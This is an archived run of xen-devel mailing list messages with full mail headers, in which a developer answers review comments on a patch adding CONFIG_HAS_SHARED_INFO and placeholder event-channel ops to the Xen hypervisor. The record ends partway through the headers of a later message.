	id 1wiBHI-0006y2-Pf; Fri, 10 Jul 2026 13:28:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359329.1612940; Fri, 10 Jul 2026 13:28:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBHI-0006xv-MO; Fri, 10 Jul 2026 13:28:28 +0000
Received: by outflank-mailman (input) for mailman id 1359329;
 Fri, 10 Jul 2026 13:28:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wiBHH-0006xp-CW
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:28:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBHG-00FK04-Jn
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:28:26 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50f35e-5cb7-0a2a0a5109dd-0a2a4502d900-8
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:28:26 +0200
Received: from [209.85.208.178] (helo=mail-lj1-f178.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50f37a-64c6-0a2a45020019-d155d0b2b8ea-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:28:26 +0200
Received: by mail-lj1-f178.google.com with SMTP id
 38308e7fff4ca-39c7ce122c7so8392421fa.2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 06:28:26 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b01ca4a08esm602296e87.12.2026.07.10.06.28.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 06:28:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Content-Language:References:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783690106; x=1784294906; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:subject:from:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=18/M2yIKj8yEVoMcBtD6RNIOCQd8MO4v0+nXwR/BLDE=;
        b=UJ0jhAUic5ddrdredczuFzRlWxrhtpFTrU4YG5KDxmgD1NHDT6GSM5ZDriWUTsafWi
         MqPm/eSrHJwXMX99FZA9uVXigKJhDKg7OLxb3jkjynIS9q6meXjugH0/+5gQH53zYIix
         sRGnP2eacBRkP/pw8oXwQjPViVitEGNUyQ6+xMxOTVNAgi0q7FgAI58cjz9MRxl1DWeU
         /kgENsX5oNZpgPdZ91r91PZH3ELEoNfFIoqv+P1DZWeJox6+cp1jneB6LOqh/efdcs0+
         z+segFefxIQLlggDrONRgaSov+VD7CVk4qR2MAuzSorVnrAHRKz2Jba3Wt3nF5h7Qh6V
         a+Ow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783690106; x=1784294906;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:subject:from:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=18/M2yIKj8yEVoMcBtD6RNIOCQd8MO4v0+nXwR/BLDE=;
        b=oHMt5PlOJT3P6FdJzH7zLbaYFB1r7kra7OB3bjLhitREQXPakVhZS+1pIWCDE7e5bC
         Mfw26BOBOM2cY+u6Li1W57AWYSVC/ts62RuXY8EtazvVQ/Lw5FbQF9U8DrE/bdbtj7Xz
         /qqFs4g9IdbYWZb8ng+3Cluc4KoZFJg7M8C8UR03Tejx9cuM2cyXgVwLKwCO30yzKiTI
         3ZMHA8TFP64wi2fmq2NK9H9tFlFMMUD1468ZIcnLAlUVDNVEKLFRwqDBQVrxCKCjp65X
         DMrGk7Ecuiy05TerFB2MeZvq43QO56y6ylC39fBoVmZsNp5SYMumdtH+lj1NmovqaMS6
         8rvA==
X-Forwarded-Encrypted: i=1; AHgh+RpdQeNQjpPaT8aXQAdO3Ja9nFEtdxeyR9uTJ8DVft5ANrH9KY46vEt6NHSN6CUrGOa21OxvR41Vu2A=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx+pDDceuo0Al9oKw2BO2f/7teLn5OSiDLw4HdGZPqkx/OXqgLf
	QyngZF3M5/Q0YYhWW2DlzBQZWDovzp1gPtjoukP7iOXsFMcC9SzTeJ35
X-Gm-Gg: AfdE7cl4OLrhkjXcbgbHXVNajyx+34A53DhGvp75d1b1iPTz4IDrxh63B4icOPh++pf
	LS8StPzvLVGj4OP7KO6HDZIsm11UoM8eqI9UmosdBm4yeDYWrq5FzE4o4+SpnOBsuNaCp6B8b/P
	SMp5lTEVpJeqH7GmyFbobr7CtSiMR7Ocnkw+H0INBoh6/8FnMvT2cxXq6Zz3qxSYnW2Snb2NMBe
	LGhYgLCWBqjRe8jEyTpXwNPjUrYg7xHUabrB76T0If5+DJRfGKEbvem5jPSBUHCoCCjIc2olbKX
	M7hprUtS/xC1nTz/faF7OjTrZcbfjeQXz4gbmDWiLGxw564vOiDTn5hxhrcsGzB7ybLDk8Nm3fi
	oAFe7LjJWuG70YuQvorc2T4/OH1Y/R3uxFeBjyBbmMKK2yz5o53C0lh4QI1ILp+37xf/JRdAFKQ
	35yORWKupiEsGsMIwkraUtc9qwIt6AIwQ20AZh6DMal+3Oo4jZDtrCvomc2TQXn73vO/I=
X-Received: by 2002:a05:6512:2581:b0:5ae:c454:373b with SMTP id 2adb3069b0e04-5b01141fcbcmr2665965e87.1.1783690105390;
        Fri, 10 Jul 2026 06:28:25 -0700 (PDT)
Message-ID: <fd82fdba-9acd-4576-84cc-f6513c557956@gmail.com>
Date: Fri, 10 Jul 2026 15:28:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v5] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
 <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
Content-Language: en-US
In-Reply-To: <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783690106-3C954A87-1449483C/10/73395122804
X-purgate-type: spam
X-purgate-size: 5510



On 7/8/26 12:52 PM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> --- a/xen/common/event_channel.c
>> +++ b/xen/common/event_channel.c
>> @@ -40,6 +40,9 @@
>>   
>>   #define consumer_is_xen(e) (!!(e)->xen_consumer)
>>   
>> +/* Defined below when !CONFIG_HAS_SHARED_INFO; call is DCE'd otherwise. */
>> +void evtchn_none_init(struct domain *d);
> 
> The definition wants to be static, so this declaration needs to become
> conditional. Assuming the evtchn_port_ops_none block can move up in the file,
> it could be put in an #else there.

I will move  evtchn_port_ops_none block up and add #else to it.

>> @@ -1323,9 +1326,13 @@ int evtchn_reset(struct domain *d, bool resuming)
>>           rc = -EAGAIN;
>>       else if ( d->evtchn_fifo )
>>       {
>> -        /* Switching back to 2-level ABI. */
>>           evtchn_fifo_destroy(d);
>> -        evtchn_2l_init(d);
>> +
>> +        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
>> +            /* Switching back to 2-level ABI. */
>> +            evtchn_2l_init(d);
>> +        else
>> +            evtchn_none_init(d);
>>       }
> 
> Do we really need to call evtchn_none_init() here when FIFO is available?

Agree, when FIFO is available there is no need to call 
evtchn_none_init() so it seems like it would be better to have the 
similar to what we have in evtchn_init():

@@ -1331,6 +1361,8 @@ int evtchn_reset(struct domain *d, bool resuming)
          if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
              /* Switching back to 2-level ABI. */
              evtchn_2l_init(d);
+        else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
+            evtchn_fifo_init_ops(d);
          else
              evtchn_none_init(d);
      }

> This is connected to ...
> 
>> @@ -1622,9 +1629,45 @@ void evtchn_check_pollers(struct domain *d, unsigned int port)
>>       }
>>   }
>>   
>> +#ifndef CONFIG_HAS_SHARED_INFO
>> +/*
>> + * Placeholder ops for domains with neither a shared_info page nor (yet)
>> + * a FIFO control block.  None of these are ever reachable in practice;
>> + * they only exist to keep d->evtchn_port_ops non-NULL.
>> + */
>> +static void cf_check evtchn_none_set_pending(
>> +    struct vcpu *v, struct evtchn *evtchn) {}
>> +static void cf_check evtchn_none_noop(
>> +    struct domain *d, struct evtchn *evtchn) {}
>> +static bool cf_check evtchn_none_false(
>> +    const struct domain *d, const struct evtchn *evtchn) { return false; }
>> +static void cf_check evtchn_none_print_state(
>> +    struct domain *d, const struct evtchn *evtchn) {}
>> +
>> +static const struct evtchn_port_ops evtchn_port_ops_none = {
>> +    .set_pending   = evtchn_none_set_pending,
>> +    .clear_pending = evtchn_none_noop,
>> +    .unmask        = evtchn_none_noop,
>> +    .is_pending    = evtchn_none_false,
>> +    .is_masked     = evtchn_none_false,
>> +    .print_state   = evtchn_none_print_state,
>> +};
>> +
>> +void evtchn_none_init(struct domain *d)
>> +{
>> +    d->evtchn_port_ops = &evtchn_port_ops_none;
>> +}
>> +#endif /* !CONFIG_HAS_SHARED_INFO */
> 
> ... we wondering whether any of this is needed when FIFO is available. In
> v4 all that was noticed was that SHARED_INFO=n together with EVTCHN_FIFO=n
> is a problem. And having fewer cf_check functions in the build is always a
> win (I think).

I will update #ifndef to:

#if !defined(CONFIG_HAS_SHARED_INFO) && !defined(CONFIG_EVTCHN_FIFO)


> 
> As to the comment saying "None of these are ever reachable in practice":
> What do you base this on? In the SHARED_INFO=n + EVTCHN_FIFO=n case they
> look reachable to me.

I thought about that it is unlikely that both of the configs will be =n. 
I will reword the comment to:

/*
  * Placeholder ops for domains with neither a shared_info page nor a FIFO
  * control block (CONFIG_HAS_SHARED_INFO=n and CONFIG_EVTCHN_FIFO=n). Such
  * a domain has no ABI to record event state in, so these are reachable
  * whenever an event is delivered to (or queried on) one of its ports; they
  * just discard/no-op it.  They exist to keep d->evtchn_port_ops non-NULL.
  */

> 
>>   int evtchn_init(struct domain *d, unsigned int max_port)
>>   {
>> -    evtchn_2l_init(d);
>> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
>> +        evtchn_2l_init(d);
>> +    else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
>> +        evtchn_fifo_init_ops(d);
>> +    else
>> +        evtchn_none_init(d);
> 
> Note how here you actually call evtchn_none_init() only in the one special
> case. Imo this model should be followed also in evtchn_reset().
> 
>> --- a/xen/common/event_channel.h
>> +++ b/xen/common/event_channel.h
>> @@ -55,6 +55,7 @@ struct evtchn_expand_array;
>>   int evtchn_fifo_init_control(struct evtchn_init_control *init_control);
>>   int evtchn_fifo_expand_array(const struct evtchn_expand_array *expand_array);
>>   void evtchn_fifo_destroy(struct domain *d);
>> +void evtchn_fifo_init_ops(struct domain *d);
>>   #else
>>   static inline int evtchn_fifo_init_control(struct evtchn_init_control *init_control)
>>   {
>> @@ -68,6 +69,7 @@ static inline void evtchn_fifo_destroy(struct domain *d)
>>   {
>>       return;
>>   }
>> +static inline void evtchn_fifo_init_ops(struct domain *d) {}
> 
> Why would this be needed? You (again) only need a declaration, just that it
> needs to live outside of the #ifdef.
> 
Agree. I will drop that.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:31:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:31:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359338.1612948 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBKa-0008RS-6i; Fri, 10 Jul 2026 13:31:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359338.1612948; Fri, 10 Jul 2026 13:31:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBKa-0008RL-3Y; Fri, 10 Jul 2026 13:31:52 +0000
Received: by outflank-mailman (input) for mailman id 1359338;
 Fri, 10 Jul 2026 13:31:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wiBKY-0008RF-NW
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:31:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBKX-00H694-NH
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:31:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50f42f-e002-0a2a0a5209dd-0a2a4504e9ce-20
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:31:49 +0200
Received: from [209.85.208.177] (helo=mail-lj1-f177.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50f445-b1e5-0a2a45040019-d155d0b1d83c-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:31:49 +0200
Received: by mail-lj1-f177.google.com with SMTP id
 38308e7fff4ca-39c82d9f801so8092771fa.2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 06:31:49 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39c84b83a84sm9602591fa.26.2026.07.10.06.31.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 06:31:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783690309; x=1784295109; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wwcdzNh54NLuqASMJCV0bL581jn5ZFBktq5QY1eNzF8=;
        b=PZ8wLHsApolp508K9sCE8JTRx3pFNvi6Tei6aYdrbT60k80iStTWjke0QeW7bjf/tm
         LSy3cL0vu7ZVqn8qzmLREwBlcE2Luw8kVfHqtQN3FXJSB1M3+cHdS+OCJIs5/8broRbI
         K0bcVHwK6dv6+437E0rU3R88DWtBdhZVaQfR/yURe7+idg5aOHop7jdsy23Atf+28bRj
         Gp3TL0CYYB+GrRjWvA3zK1j7VIls2gH0yu1c6sQNuVm3EcUk/NSRMkd5GJIZaz9adMyv
         5Y41mFKCE1djT766gu5eeUW8zHGZh0OQwPUsoN08altwakyyGkEjUZbuXrvs1VlSKtB2
         rflA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783690309; x=1784295109;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=wwcdzNh54NLuqASMJCV0bL581jn5ZFBktq5QY1eNzF8=;
        b=Hb8YT7PnEIMWsoy6Nu+cXgm7n/UHxDy32juyWuuuP6Z0Y9+0NdOjRq4BIj84SmzlVT
         YE6Uhxmbl6bxgrk8kf///IGrgrO3eJzC2kox8rCdcnq/UxvjJ6EhVhuElHnNA0LC6/CK
         LKeQLIqoUYsGVsYYwdaX5s+ZDg6Nf/UH6LHaZpcAetwLk2p0LtQNURTd8a5rwPS5qCVo
         KbE0ZTPrIhV4U1y4HAmYnl2+WQxhjr1JrR+epNYdcAYNoatF5kB6+QPOL8y800A6/RR3
         vffNyB5UyEyrAQLR0/0NG4+HnseLc3+xnqd/bmm69ARBeF1FN65jUJvJe5BB2MwH0Mmi
         oJfg==
X-Forwarded-Encrypted: i=1; AHgh+Ro+fw6OJt93OmHQfSjrEygDAdJIXvHn6CUxXdI4UMHn5jLoKvfc2moipSLgmJ0d/vcZln6eyPjQyDc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzCTFHMEv2nGFmvXmq5vU5nqnkyQgZkqFimXU+XVBXYQ0N6xbMs
	PcTwodVkiAKRwg2OTNanTS3IcY1tgSZNEP2uTsvVan6xhfQSu4qAIQak
X-Gm-Gg: AfdE7cltpF2735OY0pq/5fhmGXzFW8gvjG28q6V76/K4CnRO/Y3VLFmS5j3q2FkCd63
	TS3k9EDiLBPJnDL3C8SZUSkLHycpPos1TEkOZBXj54qsXNin6wsvp9RlflycoWLCWX5DzKoHxW0
	jxj7P0S1HD1XHYvlKlnbnxfHAgPNBvsc/pyg17iMax1p+wRTPN50WO5stOLDpmZXLCtPM7SL5vr
	Hj+HheGR6Y7PJ5sUMBMOe5GCrBCgRXVuy1vIhokhmgnx7YKeHAoT93tV+ciheLYQ76bFb91nF7x
	7UG/MzyOMj2v0EOpKCHsf1cZcAumY0QrQkB82TO5MkEcD+CpqmAOZc7HfhduYJnz7OPYamVG/Fo
	jbie/Z6SnRAE6afX4hStzSwrYX7iPq+vdnBPj5zBTZMgZ7xYPXhlWnIOwbS8xeyHQ8dnTXNCron
	pmyPebZdJZtjVBUpA8GTcr/YKCgoCJMKEhEwf2YJBdGYMiVDfBm4Qwqtv7yHkmDhuVuuMcGEhj5
	/ET6w==
X-Received: by 2002:a05:651c:547:b0:39c:805f:ecfe with SMTP id 38308e7fff4ca-39c805ff586mr21860981fa.28.1783690308620;
        Fri, 10 Jul 2026 06:31:48 -0700 (PDT)
Message-ID: <b1c039e3-d955-4708-a805-e136bc73b6f5@gmail.com>
Date: Fri, 10 Jul 2026 15:31:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
 <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1783690309-777AFFE7-81CD9D4D/10/73395122804
X-purgate-type: spam
X-purgate-size: 1675



On 7/8/26 12:52 PM, Jan Beulich wrote:
>> +#ifndef CONFIG_HAS_SHARED_INFO
>> +/*
>> + * Placeholder ops for domains with neither a shared_info page nor (yet)
>> + * a FIFO control block.  None of these are ever reachable in practice;
>> + * they only exist to keep d->evtchn_port_ops non-NULL.
>> + */
>> +static void cf_check evtchn_none_set_pending(
>> +    struct vcpu *v, struct evtchn *evtchn) {}
>> +static void cf_check evtchn_none_noop(
>> +    struct domain *d, struct evtchn *evtchn) {}
>> +static bool cf_check evtchn_none_false(
>> +    const struct domain *d, const struct evtchn *evtchn) { return false; }
>> +static void cf_check evtchn_none_print_state(
>> +    struct domain *d, const struct evtchn *evtchn) {}
>> +
>> +static const struct evtchn_port_ops evtchn_port_ops_none = {
>> +    .set_pending   = evtchn_none_set_pending,
>> +    .clear_pending = evtchn_none_noop,
>> +    .unmask        = evtchn_none_noop,
>> +    .is_pending    = evtchn_none_false,
>> +    .is_masked     = evtchn_none_false,
>> +    .print_state   = evtchn_none_print_state,
>> +};
>> +
>> +void evtchn_none_init(struct domain *d)
>> +{
>> +    d->evtchn_port_ops = &evtchn_port_ops_none;
>> +}
>> +#endif /* !CONFIG_HAS_SHARED_INFO */
> ... we wondering whether any of this is needed when FIFO is available. In
> v4 all that was noticed was that SHARED_INFO=n together with EVTCHN_FIFO=n
> is a problem. And having fewer cf_check functions in the build is always a
> win (I think).

I thought an opposite that it is good to have cf_check when pointer to 
function is used. So why we have to make an exception in this case?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:34:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:34:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359363.1612959 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBMk-0000Yf-K1; Fri, 10 Jul 2026 13:34:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359363.1612959; Fri, 10 Jul 2026 13:34:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBMk-0000YY-FH; Fri, 10 Jul 2026 13:34:06 +0000
Received: by outflank-mailman (input) for mailman id 1359363;
 Fri, 10 Jul 2026 13:34:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wiBMj-0000YR-H8
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:34:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBMi-00HC4d-QV
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:34:04 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a50f4c0-bab6-0a2a0a5309dd-0a2a4501e7cc-32
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:34:04 +0200
Received: from [202.12.124.148] (helo=fout-b5-smtp.messagingengine.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a50f4c9-3ea4-0a2a45010019-ca0c7c949c93-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:34:02 +0200
Received: from phl-compute-07.internal (phl-compute-07.internal [10.202.2.47])
 by mailfout.stl.internal (Postfix) with ESMTP id C7A041D000C7;
 Fri, 10 Jul 2026 09:34:00 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-07.internal (MEProxy); Fri, 10 Jul 2026 09:34:00 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Fri,
 10 Jul 2026 09:33:59 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1783690440;
	 x=1783776840; bh=WNEdT0A5/CwwUb8sMwObid+3XSCHfreBzBAdf2qsSSo=; b=
	wzGEfElToaTqzzb/7HuWicxaDBBs6yvIksN/ag/S15upGsAPun8kTlGdWIhVXJsY
	ALiTEMJGNsB39vNAQOWfmuYeQRjzPGpnbebdV21Fz9kqS5EJYZQE9DJ9bjlmiHxD
	OrCYDleWPvp9jvzNksTKd4lXrbGhtpgtyA03MYfPtZGHdrSEzM8MM0WlCG1TYytD
	NUuBUzN6ay8YMh3Csh5ttgCGMtJYIFBZKiakT1h27ejhsw+dd4/lZjmzFvXs8MZQ
	saAU7dZLeDBij0FEMGt6AGK2B0f+U98N1EEJ4XnRWHtdtA42B5aKGZlHTlqBSoyS
	WrGaOEhYcrpHWHrhYLCi2Q==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1783690440; x=1783776840; bh=WNEdT0A5/CwwUb8sMwObid+3XSCHfreBzBA
	df2qsSSo=; b=fiL8zwjHEKcXOqTNHj8qpFXoCQ7xTW0eG6SKrrXdY4FVHIVV6N1
	ce5HTfqBCnAV6QHkfmQPhzpzG27c8/+slnHtf252nThrrRLHiTLRF07QLgKsH8WD
	liDVdFtclTFt7C1Qlj+pV6u/lavvlmCAiBFHI12eikCE5UaGX8r0uMoog1VPHx25
	Tgf9biO6Xru2MRrt9Vua65K5zuixFlOgbMV32mnjDiVqlCxNZxAL+x30ssHS0p2G
